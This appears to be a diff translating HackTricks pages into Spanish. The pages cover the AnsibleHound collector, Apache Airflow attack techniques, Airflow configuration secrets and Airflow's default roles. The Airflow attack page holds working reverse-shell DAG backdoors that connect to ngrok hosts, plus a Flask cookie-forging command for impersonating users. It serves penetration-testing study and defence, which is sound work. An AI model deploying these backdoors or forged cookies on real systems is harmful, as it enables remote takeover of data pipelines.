`AnsibleHound` es un colector de *OpenGraph* de BloodHound de código abierto escrito en Go que convierte un token de API de Ansible Tower/AWX/Automation Controller **solo de lectura** en un gráfico de permisos completo listo para ser analizado dentro de BloodHound (o BloodHound Enterprise).
### Why is this useful?
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments but now directed at your CI/CD estate.
### ¿Por qué es útil esto?
1. La API REST de Tower/AWX es extremadamente rica y expone **cada objeto y relación RBAC** que tu instancia conoce.
2. Incluso con el token de menor privilegio (**Read**) es posible enumerar recursivamente todos los recursos accesibles (organizaciones, inventarios, hosts, credenciales, proyectos, plantillas de trabajo, usuarios, equipos…).
3. Cuando los datos en bruto se convierten al esquema de BloodHound, obtienes las mismas capacidades de visualización de *ruta de ataque* que son tan populares en las evaluaciones de Active Directory, pero ahora dirigidas a tu infraestructura de CI/CD.
Security teams (and attackers!) can therefore:
* Quickly understand **who can become admin of what**.
* Identify **credentials or hosts that are reachable** from an unprivileged account.
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
Los equipos de seguridad (¡y los atacantes!) pueden, por lo tanto:
* Comprender rápidamente **quién puede convertirse en admin de qué**.
* Identificar **credenciales u hosts que son alcanzables** desde una cuenta sin privilegios.
* Encadenar múltiples bordes “Read ➜ Use ➜ Execute ➜ Admin” para obtener control total sobre la instancia de Tower o la infraestructura subyacente.
### Prerequisites
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
### Requisitos previos
* Ansible Tower / AWX / Automation Controller accesible a través de HTTPS.
* Un token de API de usuario limitado a **Read** solamente (creado desde *Detalles del Usuario → Tokens → Crear Token → alcance = Read*).
* Go ≥ 1.20 para compilar el colector (o usar los binarios preconstruidos).
### Building & Running
### Construcción y Ejecución
```bash
# Compile the collector
cd collector
@@ -164,7 +162,7 @@ go build . -o build/ansiblehound
# Execute against the target instance
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
```
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
Internamente, AnsibleHound realiza solicitudes `GET` *paginadas* contra (al menos) los siguientes endpoints y sigue automáticamente los enlaces `related` devueltos en cada objeto JSON:
```
/api/v2/organizations/
/api/v2/inventories/
@@ -175,37 +173,32 @@ Internally AnsibleHound performs *paginated* `GET` requests against (at least) t
/api/v2/users/
/api/v2/teams/
```
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
Todos los archivos recopilados se fusionan en un solo archivo JSON en el disco (predeterminado: `ansiblehound-output.json`).
### BloodHound Transformation
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
### Transformación de BloodHound
Los datos en bruto de Tower se **transforman a BloodHound OpenGraph** utilizando nodos personalizados con el prefijo `AT` (Ansible Tower):
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
And edges modelling relationships / privileges:
Y bordes que modelan relaciones / privilegios:
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
The result can be imported straight into BloodHound:
El resultado se puede importar directamente en BloodHound:
```bash
neo4j stop # if BloodHound CE is running locally
bloodhound-import ansiblehound-output.json
```
Optionally you can upload **custom icons** so that the new node types are visually distinct:
Opcionalmente, puedes subir **iconos personalizados** para que los nuevos tipos de nodos sean visualmente distintos:
```bash
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
```
### Consideraciones Defensivas y Ofensivas
* Un token de *Lectura* normalmente se considera inofensivo pero aún filtra la **topología completa y todos los metadatos de credenciales**. ¡Trátalo como sensible!
* Aplica el **mínimo privilegio** y rota / revoca tokens no utilizados.
* Monitorea la API por enumeración excesiva (múltiples solicitudes `GET` secuenciales, alta actividad de paginación).
* Desde la perspectiva de un atacante, esta es una técnica perfecta de *punto de apoyo inicial → escalada de privilegios* dentro del pipeline de CI/CD.
### Defensive & Offensive Considerations
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
* Enforce **least privilege** and rotate / revoke unused tokens.
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
## References
* [AnsibleHound BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
## Referencias
* [AnsibleHound Recolector BloodHound para Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,23 +1,22 @@
# Apache Airflow Security
# Seguridad de Apache Airflow
{{#include ../../banners/hacktricks-training.md}}
### Basic Information
### Información Básica
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
[**Apache Airflow**](https://airflow.apache.org) sirve como una plataforma para **orquestar y programar tuberías de datos o flujos de trabajo**. El término "orquestación" en el contexto de las tuberías de datos significa el proceso de organizar, coordinar y gestionar flujos de trabajo de datos complejos que provienen de diversas fuentes. El propósito principal de estas tuberías de datos orquestadas es proporcionar conjuntos de datos procesados y consumibles. Estos conjuntos de datos son utilizados extensamente por una multitud de aplicaciones, incluyendo, pero no limitado a, herramientas de inteligencia empresarial, modelos de ciencia de datos y aprendizaje automático, todos los cuales son fundamentales para el funcionamiento de aplicaciones de big data.
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
Básicamente, Apache Airflow te permitirá **programar la ejecución de código cuando algo** (evento, cron) **suceda**.
### Local Lab
### Laboratorio Local
#### Docker-Compose
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
Puedes usar el **archivo de configuración de docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lanzar un entorno completo de docker de apache airflow. (Si estás en MacOS asegúrate de darle al menos 6GB de RAM a la VM de docker).
#### Minikube
One easy way to **run apache airflo**w is to run it **with minikube**:
Una forma fácil de **ejecutar apache airflow** es ejecutarlo **con minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
### Configuración de Airflow
### Airflow Configuration
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
Airflow podría almacenar **información sensible** en su configuración o puedes encontrar configuraciones débiles en su lugar:
{{#ref}}
airflow-configuration.md
{{#endref}}
### Airflow RBAC
### RBAC de Airflow
Before start attacking Airflow you should understand **how permissions work**:
Antes de comenzar a atacar Airflow, deberías entender **cómo funcionan los permisos**:
{{#ref}}
airflow-rbac.md
{{#endref}}
### Attacks
### Ataques
#### Web Console Enumeration
#### Enumeración de la Consola Web
If you have **access to the web console** you might be able to access some or all of the following information:
Si tienes **acceso a la consola web**, podrías ser capaz de acceder a parte o toda la siguiente información:
- **Variables** (Custom sensitive information might be stored here)
- **Connections** (Custom sensitive information might be stored here)
- Access them in `http://<airflow>/connection/list/`
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
- List **users & roles**
- **Code of each DAG** (which might contain interesting info)
- **Variables** (Información sensible personalizada podría estar almacenada aquí)
- **Conexiones** (Información sensible personalizada podría estar almacenada aquí)
- Accede a ellas en `http://<airflow>/connection/list/`
- [**Configuración**](./#airflow-configuration) (Información sensible como el **`secret_key`** y contraseñas podría estar almacenada aquí)
- Lista de **usuarios y roles**
- **Código de cada DAG** (que podría contener información interesante)
#### Retrieve Variables Values
#### Recuperar Valores de Variables
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
Las variables pueden ser almacenadas en Airflow para que los **DAGs** puedan **acceder** a sus valores. Es similar a los secretos de otras plataformas. Si tienes **suficientes permisos**, puedes acceder a ellas en la GUI en `http://<airflow>/variable/list/`.\
Airflow por defecto mostrará el valor de la variable en la GUI, sin embargo, de acuerdo a [**esto**](https://marclamberti.com/blog/variables-with-apache-airflow/), es posible establecer una **lista de variables** cuyo **valor** aparecerá como **asteriscos** en la **GUI**.
![](<../../images/image (164).png>)
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
Sin embargo, estos **valores** aún pueden ser **recuperados** a través de **CLI** (necesitas tener acceso a la base de datos), ejecución de **DAG** **arbitrarios**, **API** accediendo al endpoint de variables (la API necesita estar activada), y **¡incluso la propia GUI!**\
Para acceder a esos valores desde la GUI, simplemente **selecciona las variables** que deseas acceder y **haz clic en Acciones -> Exportar**.\
Otra forma es realizar un **bruteforce** al **valor oculto** utilizando el **filtro de búsqueda** hasta que lo obtengas:
![](<../../images/image (152).png>)
#### Privilege Escalation
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
#### Escalación de Privilegios
Si la configuración **`expose_config`** está establecida en **True**, desde el **rol Usuario** y **hacia arriba** pueden **leer** la **configuración en la web**. En esta configuración, aparece el **`secret_key`**, lo que significa que cualquier usuario con esto válido puede **crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE en el trabajador de Airflow)
#### DAG Backdoor (RCE in Airflow worker)
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
Note that this reverse shell is going to be executed inside an **airflow worker container**:
Si tienes **acceso de escritura** al lugar donde se **guardan los DAGs**, puedes **crear uno** que te enviará un **reverse shell.**\
Ten en cuenta que este reverse shell se ejecutará dentro de un **contenedor de trabajador de airflow**:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
```
```python
@@ -105,74 +100,66 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE en el programador de Airflow)
#### DAG Backdoor (RCE in Airflow scheduler)
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
Si configuras algo para que sea **ejecutado en la raíz del código**, en el momento de escribir esto, será **ejecutado por el programador** después de un par de segundos de haberlo colocado dentro de la carpeta del DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### Creación de DAG
#### DAG Creation
Si logras **comprometer una máquina dentro del clúster DAG**, puedes crear nuevos **scripts de DAG** en la carpeta `dags/` y serán **replicados en el resto de las máquinas** dentro del clúster DAG.
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
#### Inyección de Código en DAG
#### DAG Code Injection
Cuando ejecutas un DAG desde la GUI, puedes **pasar argumentos** a él.\
Por lo tanto, si el DAG no está correctamente codificado, podría ser **vulnerable a Inyección de Comandos.**\
Eso es lo que ocurrió en este CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
When you execute a DAG from the GUI you can **pass arguments** to it.\
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
Todo lo que necesitas saber para **comenzar a buscar inyecciones de comandos en DAGs** es que los **parámetros** son **accedidos** con el código **`dag_run.conf.get("param_name")`**.
Además, la misma vulnerabilidad podría ocurrir con **variables** (ten en cuenta que con suficientes privilegios podrías **controlar el valor de las variables** en la GUI). Las variables son **accedidas con**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
If they are used for example inside a a bash command, you could perform a command injection.
Si se utilizan, por ejemplo, dentro de un comando bash, podrías realizar una inyección de comandos.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,114 +1,105 @@
# Airflow Configuration
# Configuración de Airflow
{{#include ../../banners/hacktricks-training.md}}
## Configuration File
## Archivo de Configuración
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
**Apache Airflow** genera un **archivo de configuración** en todas las máquinas de airflow llamado **`airflow.cfg`** en el directorio home del usuario de airflow. Este archivo de configuración contiene información de configuración y **puede contener información interesante y sensible.**
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
**Hay dos formas de acceder a este archivo: Comprometiendo alguna máquina de airflow, o accediendo a la consola web.**
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
Ten en cuenta que los **valores dentro del archivo de configuración** **pueden no ser los utilizados**, ya que puedes sobrescribirlos configurando variables de entorno como `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
If you have **access to some machine inside the airflow env**, check the **environment**.
Si tienes acceso al **archivo de configuración en el servidor web**, puedes verificar la **configuración real en ejecución** en la misma página donde se muestra la configuración.\
Si tienes **acceso a alguna máquina dentro del entorno de airflow**, verifica el **entorno**.
Some interesting values to check when reading the config file:
Algunos valores interesantes para verificar al leer el archivo de configuración:
### \[api]
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- You can also **create you own authentication** method with python.
- **`google_key_path`:** Path to the **GCP service account key**
- **`access_control_allow_headers`**: Esto indica los **encabezados permitidos** para **CORS**
- **`access_control_allow_methods`**: Esto indica los **métodos permitidos** para **CORS**
- **`access_control_allow_origins`**: Esto indica los **orígenes permitidos** para **CORS**
- **`auth_backend`**: [**Según la documentación**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) hay algunas opciones que se pueden configurar para determinar quién puede acceder a la API:
- `airflow.api.auth.backend.deny_all`: **Por defecto, nadie** puede acceder a la API
- `airflow.api.auth.backend.default`: **Todos pueden** acceder sin autenticación
- `airflow.api.auth.backend.kerberos_auth`: Para configurar **autenticación kerberos**
- `airflow.api.auth.backend.basic_auth`: Para **autenticación básica**
- `airflow.composer.api.backend.composer_auth`: Utiliza autenticación de compositores (GCP) (de [**aquí**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: Esto indica el **rol** que el **usuario de composer** obtendrá dentro de **airflow** (**Op** por defecto).
- También puedes **crear tu propio método de autenticación** con python.
- **`google_key_path`:** Ruta a la **clave de cuenta de servicio de GCP**
### **\[atlas]**
- **`password`**: Atlas password
- **`username`**: Atlas username
- **`password`**: Contraseña de Atlas
- **`username`**: Nombre de usuario de Atlas
### \[celery]
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
- **`result_backend`**: Postgres url which may contain **credentials**.
- **`ssl_cacert`**: Path to the cacert
- **`ssl_cert`**: Path to the cert
- **`ssl_key`**: Path to the key
- **`flower_basic_auth`** : Credenciales (_user1:password1,user2:password2_)
- **`result_backend`**: URL de Postgres que puede contener **credenciales**.
- **`ssl_cacert`**: Ruta al cacert
- **`ssl_cert`**: Ruta al cert
- **`ssl_key`**: Ruta a la clave
### \[core]
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that dont contain the strings `DAG` and `airflow`.
- **`fernet_key`**: Key to store encrypted variables (symmetric)
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
- **`security`**: What security module to use (for example kerberos)
- **`dag_discovery_safe_mode`**: Habilitado por defecto. Al descubrir DAGs, ignora cualquier archivo que no contenga las cadenas `DAG` y `airflow`.
- **`fernet_key`**: Clave para almacenar variables encriptadas (simétrica)
- **`hide_sensitive_var_conn_fields`**: Habilitado por defecto, oculta información sensible de las conexiones.
- **`security`**: Qué módulo de seguridad usar (por ejemplo, kerberos)
### \[dask]
- **`tls_ca`**: Path to ca
- **`tls_cert`**: Part to the cert
- **`tls_key`**: Part to the tls key
- **`tls_ca`**: Ruta al ca
- **`tls_cert`**: Ruta al cert
- **`tls_key`**: Ruta a la clave tls
### \[kerberos]
- **`ccache`**: Path to ccache file
- **`forwardable`**: Enabled by default
- **`ccache`**: Ruta al archivo ccache
- **`forwardable`**: Habilitado por defecto
### \[logging]
- **`google_key_path`**: Path to GCP JSON creds.
- **`google_key_path`**: Ruta a las credenciales JSON de GCP.
### \[secrets]
- **`backend`**: Full class name of secrets backend to enable
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
- **`backend`**: Nombre completo de la clase del backend de secretos a habilitar
- **`backend_kwargs`**: El parámetro backend_kwargs se carga en un diccionario y se pasa a **init** de la clase del backend de secretos.
### \[smtp]
- **`smtp_password`**: SMTP password
- **`smtp_user`**: SMTP user
- **`smtp_password`**: Contraseña SMTP
- **`smtp_user`**: Usuario SMTP
### \[webserver]
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
- **`cookie_secure`**: Set **secure flag** on the the session cookie
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
- **`cookie_samesite`**: Por defecto es **Lax**, por lo que ya es el valor más débil posible
- **`cookie_secure`**: Establecer **bandera segura** en la cookie de sesión
- **`expose_config`**: Por defecto es False, si es verdadero, la **configuración** puede ser **leída** desde la **consola** web
- **`expose_stacktrace`**: Por defecto es True, mostrará **tracebacks de python** (potencialmente útil para un atacante)
- **`secret_key`**: Esta es la **clave utilizada por flask para firmar las cookies** (si tienes esto puedes **suplantar a cualquier usuario en Airflow**)
- **`web_server_ssl_cert`**: **Ruta** al **certificado** **SSL**
- **`web_server_ssl_key`**: **Ruta** a la **clave** **SSL**
- **`x_frame_enabled`**: Por defecto es **True**, por lo que por defecto el clickjacking no es posible
### Web Authentication
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
### Autenticación Web
Por defecto, la **autenticación web** se especifica en el archivo **`webserver_config.py`** y se configura como
```bash
AUTH_TYPE = AUTH_DB
```
Which means that the **authentication is checked against the database**. However, other configurations are possible like
Lo que significa que la **autenticación se verifica contra la base de datos**. Sin embargo, son posibles otras configuraciones como
```bash
AUTH_TYPE = AUTH_OAUTH
```
Para dejar la **autenticación a servicios de terceros**.
To leave the **authentication to third party services**.
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
Sin embargo, también hay una opción para **permitir el acceso a usuarios anónimos**, configurando el siguiente parámetro al **rol deseado**:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,43 +4,40 @@
## RBAC
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
(De la documentación)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow se envía con un **conjunto de roles por defecto**: **Admin**, **User**, **Op**, **Viewer** y **Public**. **Solo los usuarios `Admin`** pueden **configurar/alterar los permisos para otros roles**. Pero no se recomienda que los usuarios `Admin` alteren estos roles predeterminados de ninguna manera, eliminando o agregando permisos a estos roles.
- **`Admin`** users have all possible permissions.
- **`Public`** users (anonymous) dont have any permissions.
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
- **`Op`** users have `User` permissions plus additional op permissions.
- **`Admin`** los usuarios tienen todos los permisos posibles.
- **`Public`** los usuarios (anónimos) no tienen ningún permiso.
- **`Viewer`** los usuarios tienen permisos limitados de visualización (solo lectura). **No puede ver la configuración.**
- **`User`** los usuarios tienen permisos de `Viewer` más permisos adicionales que les permiten gestionar DAGs un poco. Él **puede ver el archivo de configuración.**
- **`Op`** los usuarios tienen permisos de `User` más permisos adicionales de operación.
Note that **admin** users can **create more roles** with more **granular permissions**.
Tenga en cuenta que los usuarios **admin** pueden **crear más roles** con más **permisos granulares**.
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
También tenga en cuenta que el único rol predeterminado con **permiso para listar usuarios y roles es Admin, ni siquiera Op** podrá hacer eso.
### Default Permissions
### Permisos Predeterminados
These are the default permissions per default role:
Estos son los permisos predeterminados por rol predeterminado:
- **Admin**
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
\[puede eliminar en Conexiones, puede leer en Conexiones, puede editar en Conexiones, puede crear en Conexiones, puede leer en DAGs, puede editar en DAGs, puede eliminar en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede editar en Instancias de Tarea, puede eliminar en Ejecuciones de DAG, puede crear en Ejecuciones de DAG, puede editar en Ejecuciones de DAG, puede leer en Registros de Auditoría, puede leer en ImportError, puede eliminar en Grupos, puede leer en Grupos, puede editar en Grupos, puede crear en Grupos, puede leer en Proveedores, puede eliminar en Variables, puede leer en Variables, puede editar en Variables, puede crear en Variables, puede leer en XComs, puede leer en Código de DAG, puede leer en Configuraciones, puede leer en Plugins, puede leer en Roles, puede leer en Permisos, puede eliminar en Roles, puede editar en Roles, puede crear en Roles, puede leer en Usuarios, puede crear en Usuarios, puede editar en Usuarios, puede eliminar en Usuarios, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea, puede crear en Instancias de Tarea, puede eliminar en Instancias de Tarea, acceso al menú en Admin, acceso al menú en Configuraciones, acceso al menú en Conexiones, acceso al menú en Grupos, acceso al menú en Variables, acceso al menú en XComs, puede eliminar en XComs, puede leer en Reprogramaciones de Tarea, acceso al menú en Reprogramaciones de Tarea, puede leer en Disparadores, acceso al menú en Disparadores, puede leer en Contraseñas, puede editar en Contraseñas, acceso al menú en Listar Usuarios, acceso al menú en Seguridad, acceso al menú en Listar Roles, puede leer en Gráfico de Estadísticas de Usuario, acceso al menú en Estadísticas de Usuario, acceso al menú en Permisos Base, puede leer en Ver Menús, acceso al menú en Vistas/Menús, puede leer en Vistas de Permisos, acceso al menú en Permiso en Vistas/Menús, puede obtener en MenuApi, acceso al menú en Proveedores, puede crear en XComs]
- **Op**
